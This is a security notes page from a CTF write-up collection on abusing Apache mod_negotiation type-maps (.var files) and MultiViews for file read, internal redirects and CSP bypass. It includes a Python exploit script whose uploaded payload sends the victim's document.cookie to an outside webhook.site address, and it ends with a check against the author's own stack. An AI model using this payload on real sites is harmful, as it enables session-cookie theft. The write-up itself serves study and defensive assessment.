Skip to content

Categories

Apache

SCTF havefunSCTF 2024 By W&M - W&M Team (wm-team.cn)How it works. With mod_negotiation and AddHandler type-map .var (or Options +MultiViews), Apache treats certain files as type-maps: a plain-text map...

Created

Updated

3 min read

Reading time

1 categories

Topics covered

Share:

Tip: for Facebook and LinkedIn, use Copy first, then paste when the platform opens.

mod_rewrite misconfiguration

SCTF havefun

SCTF 2024 By W&M - W&M Team (wm-team.cn)

https://adworld.xctf.org.cn/contest/assess?hash=4124a446-65a9-11ef-a39a-000c297261bb

Mod Negotation page redirection that can bypass CSP?

Event NameCyber Jawara Quals 2025
GitHub URL-
Challenge Namesandboxed-viewer
Attachments
References

import httpx
import asyncio

URL = "http://gzcli.1pc.tf:51861"

class BaseAPI:
    def __init__(self, url=URL) -> None:
        self.c = httpx.AsyncClient(base_url=url)
    def upload(self, file):
        return self.c.post("/upload", files={"file": file})
    def register(self, email, password):
        return self.c.post("/register", data={"email": email, "password": password})
    def login(self, email, password):
        return self.c.post("/login", data={"email": email, "password": password})

class API(BaseAPI):
    ...

async def main():
    api = API()
    await api.register("test@example.com", "password")
    await api.login("test@example.com", "password")
    res = await api.upload(("testing.var.txt", """URI: ../admin?js=%24el.html%28`\\u003cform+id=x+style=display:block%3bcontent-visibility:auto+oncontentvisibilityautostatechange=fetch%28'//webhook.site/917db213-3448-44df-b387-84ed9dd42d62/?'%2bdocument.cookie%29\\u003e\\u003cinput+name=attributes\\u003e\\u003cinput+name=attributes\\u003e\\u003c/form\\u003e`%29
Content-Type: text/html"""))
    path = res.json()['path']
    print(api.c.base_url.join(path))
    
if __name__ == "__main__":
    asyncio.run(main())

Apache type-map (mod_negotiation) — technique + stack check

TechniqueApache mod_negotiation type-map (.var) / MultiViews abuse
Primitivesarbitrary file read · internal redirect / SSRF-to-self · stored-XSS / CSP bypass · upload extension-filter bypass
Worked examplesee Mod Negotation page redirection that can bypass CSP? above (Cyber Jawara Quals 2025 — sandboxed-viewer)
Checked againstSignetry / Crownspire (HTB CA2026) — 2026-06-15

How it works. With mod_negotiation and AddHandler type-map .var (or Options +MultiViews), Apache treats certain files as type-maps: a plain-text map whose fields (URI:, Content-Type:, Body:, Content-Language:…) tell Apache which variant to serve. AddHandler type-map var matches any filename containing .var as an extension token — so an upload named e.g. testing.var.txt is still parsed as a map. A URI: pointing at a relative/internal path turns the upload into an internal-redirect / file-read primitive served same-origin from the upload directory; pairing Content-Type: text/html with a URI: to an HTML-reflecting endpoint yields stored-XSS that bypasses CSP. MultiViews alone also enables extension-filter bypass and source/backup discovery (/x/x.php, /x.phps).

.var type-map body:

URI: ../admin?js=<payload>
Content-Type: text/html

Preconditions (all required):

  • Apache httpd fronting the app
  • mod_negotiation enabled
  • AddHandler type-map .var or Options +MultiViews on the served path
  • an attacker-controlled file served by Apache from a negotiated directory
  • 🛡️
    Compatibility with our stack: NOT APPLICABLE — no Apache anywhere in Signetry.
  • Gateway (Crownspire): Go + gin; static is r.Static("/assets", …) → Go net/http http.FileServer. No content negotiation, no type-maps, no MultiViews — a .var upload is returned as opaque bytes and URI:/Body: are never interpreted.
  • Registry (Signetry): JDK com.sun.net.httpserver.HttpServer; /files/ does Files.readAllBytes with normalize() + startsWith containment. No negotiation layer.
  • Runtime image: eclipse-temurin:11-jre + redis-server (apt) — no httpd, no mod_negotiation.
  • The intended file-drop exfil is the DL4J deserialization gadget writing into /app/web/assets (served by gin), unrelated to type-maps. Not a viable unintended path here.
  • Categories & Topics

    This note is categorized under the following topics. Click on any category to explore more related content.

    Share this note

    Share:

    Tip: for Facebook and LinkedIn, use Copy first, then paste when the platform opens.